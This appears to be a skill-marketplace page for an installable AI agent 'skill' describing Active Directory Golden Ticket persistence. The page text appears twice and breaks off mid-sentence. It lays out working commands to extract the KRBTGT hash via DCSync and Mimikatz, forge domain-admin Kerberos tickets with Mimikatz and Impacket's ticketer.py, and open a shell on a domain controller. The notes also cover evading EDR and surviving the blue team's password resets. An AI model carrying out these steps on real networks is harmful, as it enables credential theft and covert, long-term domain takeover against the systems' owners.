active-directory-golden-ticket

Name: active-directory-golden-ticket
Author: ShulkwiSEC

18stars5forks

How to install active-directory-golden-ticket?

shulkwisec/bb-huge/active-directory-golden-ticket

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-golden-ticket

Installs into the current project.

Summary

Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achiev

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Persistence: Golden Ticket
2
3	## When to Use
4	- After fully compromising an Active Directory domain (Domain Admin privileges achieved).
5	- To maintain long-term, stealthy access (Persistence) to a network during prolonged Red Team ops.
6	- To simulate high-end APT behaviors (e.g., APT29/Cozy Bear, SolarWinds breach).
7	- When you foresee the blue team discovering your current access and resetting traditional passwords.
8
9
10	## Prerequisites
11	- Administrative or SYSTEM-level access on the target Windows/Linux host
12	- Understanding of the target's monitoring posture (Sysmon, EDR coverage)
13	- C2 framework beacon or payload ready for deployment
14	- Cleanup procedure documented before persistence is established
15
16	## Workflow
17
18	### Phase 1: Obtaining the KRBTGT Hash (The Keys to the Kingdom)
19
20	```bash
21	# Concept: In Active Directory, the KRBTGT account is a disabled, built-in account responsible
22	# for mathematically signing and encrypting all Kerberos TGT tickets.
23	# If we steal this account's NTLM Hash or AES key, we can theoretically sign our OWN tickets
24	# that the Domain Controllers will blindly accept as valid.
25
26	# Method 1: DCSync over the network (Loudest, but easiest)
27	# From a machine with Domain Admin privileges (via Impacket/Linux)
28	secretsdump.py CORP.LOCAL/AdminUser:Password@10.10.10.5 -just-dc-user krbtgt
29
30	# Method 2: Local extraction via Mimikatz (Requires RDP/Shell to the Domain Controller)
31	mimikatz # privilege::debug
32	mimikatz # lsadump::lsa /inject /name:krbtgt
33
34	# Resulting Requirement: You MUST securely record the following:
35	# 1. Domain Name (e.g., CORP.LOCAL)
36	# 2. Domain SID (e.g., S-1-5-21-29177196-1896752002-3652875151) -> Strip off the trailing -500
37	# 3. KRBTGT NTLM Hash (e.g., e0137ce52e935a82229dc47bc230f81d)
38	# Or better: KRBTGT AES256 Key (Much stealthier, harder for EDR to spot)
39	```
40
41	### Phase 2: Forging the Golden Ticket (Windows / Mimikatz)
42
43	```bash
44	# Concept: We now leave the domain controller. You can go to a completely unprivileged
45	# workstation, or even a non-domain joined machine passing traffic in, and forge a ticket.
46
47	# 1. Open Mimikatz on any Windows endpoint
48	mimikatz # privilege::debug
49
50	# 2. Construct the purely forged ticket. Note: We assign ourselves the RID 500 (Built-in Administrator)
51	# and give it a valid Active Directory group of Domain Admins (512).
52	mimikatz # kerberos::golden /user:FakeUser /domain:CORP.LOCAL /sid:S-1-5-21-29177196-1896752002-3652875151 /krbtgt:e0137ce52e935a82229dc47bc230f81d /id:500 /groups:512,513,518,519,520 /ptt
53
54	# Note on OPSEC: Passing `/ptt` automatically injects the forged ticket into the current memory session.
55	# If you pass a filename (`/ticket:golden.kirbi`), it saves it to disk for later use.
56
57	# 3. Verify the ticket is in memory
58	klist
59
60	# 4. Access Domain Controller C$ drive as the non-existent 'FakeUser'
61	dir \\dc01.corp.local\C$
62	# SUCCESS: Total Domain Dominance achieved.
63	```
64
65	### Phase 3: Forging the Golden Ticket (Linux / Impacket)
66
67	```bash
68	# Concept: Forge the ticket from your external Linux attack box.
69
70	# 1. Use ticketer.py to craft the Golden Ticket and save it as a .ccache file
71	ticketer.py -nthash e0137ce52e935a82229dc47bc230f81d -domain-sid S-1-5-21-29177196-1896752002-3652875151 -domain CORP.LOCAL FakeUser
72
73	# 2. Export the ticket variable so Impacket tools use it
74	export KRB5CCNAME=/path/to/FakeUser.ccache
75
76	# 3. Gain a high-privilege shell on the Domain Controller
77	impacket-wmiexec -k -no-pass dc01.corp.local
78	```
79
80	### Phase 4: Exploiting the Persistence
81
82	```bash
83	# Why is this so dangerous?
84	# 1. It operates independently of standard passwords. If the blue team realizes they are breached
85	# and forces a global password reset for all Domain Admins, YOUR TICKET STILL WORKS.
86	# 2. The ticket is valid. Standard logging does not block it.
87	# 3. By default, MS allows TGTs to live for 10 hours, but a Golden Ticket can be forged to easily
88	# last 10 YEARS (Mimikatz default).
89
90	# Golden Ticket vs Silver Ticket:
91	# Golden = Forged TGT signed by KRBTGT (Access to entire domain).
92	# Silver = Forged TGS signed by a specific Service Account Hash (Access ONLY to that specific mapp

People who liked this also viewed

6 picks

Type

active-directory-golden-ticket

18stars5forks

View on GitHub

How to install active-directory-golden-ticket?

shulkwisec/bb-huge/active-directory-golden-ticket

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-golden-ticket

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory Persistence: Golden Ticket
2
3	## When to Use
4	- After fully compromising an Active Directory domain (Domain Admin privileges achieved).
5	- To maintain long-term, stealthy access (Persistence) to a network during prolonged Red Team ops.
6	- To simulate high-end APT behaviors (e.g., APT29/Cozy Bear, SolarWinds breach).
7	- When you foresee the blue team discovering your current access and resetting traditional passwords.
8
9
10	## Prerequisites
11	- Administrative or SYSTEM-level access on the target Windows/Linux host
12	- Understanding of the target's monitoring posture (Sysmon, EDR coverage)
13	- C2 framework beacon or payload ready for deployment
14	- Cleanup procedure documented before persistence is established
15
16	## Workflow
17
18	### Phase 1: Obtaining the KRBTGT Hash (The Keys to the Kingdom)
19
20	```bash
21	# Concept: In Active Directory, the KRBTGT account is a disabled, built-in account responsible
22	# for mathematically signing and encrypting all Kerberos TGT tickets.
23	# If we steal this account's NTLM Hash or AES key, we can theoretically sign our OWN tickets
24	# that the Domain Controllers will blindly accept as valid.
25
26	# Method 1: DCSync over the network (Loudest, but easiest)
27	# From a machine with Domain Admin privileges (via Impacket/Linux)
28	secretsdump.py CORP.LOCAL/AdminUser:Password@10.10.10.5 -just-dc-user krbtgt
29
30	# Method 2: Local extraction via Mimikatz (Requires RDP/Shell to the Domain Controller)
31	mimikatz # privilege::debug
32	mimikatz # lsadump::lsa /inject /name:krbtgt
33
34	# Resulting Requirement: You MUST securely record the following:
35	# 1. Domain Name (e.g., CORP.LOCAL)
36	# 2. Domain SID (e.g., S-1-5-21-29177196-1896752002-3652875151) -> Strip off the trailing -500
37	# 3. KRBTGT NTLM Hash (e.g., e0137ce52e935a82229dc47bc230f81d)
38	# Or better: KRBTGT AES256 Key (Much stealthier, harder for EDR to spot)
39	```
40
41	### Phase 2: Forging the Golden Ticket (Windows / Mimikatz)
42
43	```bash
44	# Concept: We now leave the domain controller. You can go to a completely unprivileged
45	# workstation, or even a non-domain joined machine passing traffic in, and forge a ticket.
46
47	# 1. Open Mimikatz on any Windows endpoint
48	mimikatz # privilege::debug
49
50	# 2. Construct the purely forged ticket. Note: We assign ourselves the RID 500 (Built-in Administrator)
51	# and give it a valid Active Directory group of Domain Admins (512).
52	mimikatz # kerberos::golden /user:FakeUser /domain:CORP.LOCAL /sid:S-1-5-21-29177196-1896752002-3652875151 /krbtgt:e0137ce52e935a82229dc47bc230f81d /id:500 /groups:512,513,518,519,520 /ptt
53
54	# Note on OPSEC: Passing `/ptt` automatically injects the forged ticket into the current memory session.
55	# If you pass a filename (`/ticket:golden.kirbi`), it saves it to disk for later use.
56
57	# 3. Verify the ticket is in memory
58	klist
59
60	# 4. Access Domain Controller C$ drive as the non-existent 'FakeUser'
61	dir \\dc01.corp.local\C$
62	# SUCCESS: Total Domain Dominance achieved.
63	```
64
65	### Phase 3: Forging the Golden Ticket (Linux / Impacket)
66
67	```bash
68	# Concept: Forge the ticket from your external Linux attack box.
69
70	# 1. Use ticketer.py to craft the Golden Ticket and save it as a .ccache file
71	ticketer.py -nthash e0137ce52e935a82229dc47bc230f81d -domain-sid S-1-5-21-29177196-1896752002-3652875151 -domain CORP.LOCAL FakeUser
72
73	# 2. Export the ticket variable so Impacket tools use it
74	export KRB5CCNAME=/path/to/FakeUser.ccache
75
76	# 3. Gain a high-privilege shell on the Domain Controller
77	impacket-wmiexec -k -no-pass dc01.corp.local
78	```
79
80	### Phase 4: Exploiting the Persistence
81
82	```bash
83	# Why is this so dangerous?
84	# 1. It operates independently of standard passwords. If the blue team realizes they are breached
85	# and forces a global password reset for all Domain Admins, YOUR TICKET STILL WORKS.
86	# 2. The ticket is valid. Standard logging does not block it.
87	# 3. By default, MS allows TGTs to live for 10 hours, but a Golden Ticket can be forged to easily
88	# last 10 YEARS (Mimikatz default).
89
90	# Golden Ticket vs Silver Ticket:
91	# Golden = Forged TGT signed by KRBTGT (Access to entire domain).
92	# Silver = Forged TGS signed by a specific Service Account Hash (Access ONLY to that specific mapp

People who liked this also viewed

6 picks

Type